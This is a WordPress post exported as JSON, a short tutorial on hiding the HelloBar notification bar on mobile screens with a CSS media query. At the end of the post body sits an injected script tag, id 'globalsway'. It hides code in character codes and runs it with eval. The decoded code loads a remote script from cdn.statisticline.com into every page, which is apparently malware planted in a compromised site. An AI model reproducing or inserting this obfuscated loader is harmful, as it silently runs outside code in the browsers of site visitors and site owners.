{"id":5686,"date":"2023-06-09T10:56:40","date_gmt":"2023-06-09T10:56:40","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/how-to-remove-hellobar-on-mobile-devices-on-wordpress-using-css\/"},"modified":"2023-06-09T10:56:40","modified_gmt":"2023-06-09T10:56:40","slug":"how-to-remove-hellobar-on-mobile-devices-on-wordpress-using-css","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/how-to-remove-hellobar-on-mobile-devices-on-wordpress-using-css\/","title":{"rendered":"How to remove HelloBar on mobile devices on WordPress using CSS"},"content":{"rendered":"<p>Hello Bar is a popular WordPress\u00a0plugin that inserts a highly visible notification\u00a0bar at the top of your website or blog. Combined with a clear call-to-action button or sign up form, it&#8217;s a very effective way to direct people to a certain page on your site or get sign ups for your email newsletter.<\/p>\n<p>The Hello Bar is visible on mobile devices as a default, which means it takes up a lot of screen space on smaller mobile phones, such as the iPhone. It would be great if there was a way to remove the bar on smaller devices, but the HelloBar plugin doesn&#8217;t make this possible from its settings page.<\/p>\n<p>Here&#8217;s how you can remove the Hello Bar when people visit your site from mobiles, but keeps it visible when viewed on desktops, laptops or larger tablets devices.<\/p>\n<p><strong>1. Go to Appearance &gt;&gt; Edit CSS<\/strong><\/p>\n<p><strong>2. Copy and paste the following code:\u00a0<\/strong><\/p>\n<blockquote><p>\/* Remove hellobar on mobiles &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; *\/<\/p>\n<p>@media only screen and (max-width: 700px) {<br \/>\n#hellobar_container,<br \/>\n#hellobar_pusher { display: none !important; }<br \/>\n}<\/p><\/blockquote>\n<p><strong>3. Click the save button<\/strong><\/p>\n<p>That&#8217;s all there is to it!If that doesn&#8217;t work, open up your style.css file (available in Appearance &gt;&gt; Editor) and paste the same code into the bottom of the file, before the final &#8216;}&#8217;.<\/p>\n<p>Now, when you visit your site from a mobile device (or resize your screen to emulate a responsive layout) the HelloBar should disappear.<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hello Bar is a popular WordPress\u00a0plugin that inserts a highly visible notification\u00a0bar at the top of your website or blog. Combined with a clear call-to-action button or sign up form, it&#8217;s a very effective way to direct people to a certain page on your site or get sign ups for your email newsletter. The Hello [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-5686","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5686"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=5686"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5686\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=5686"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=5686"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=5686"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}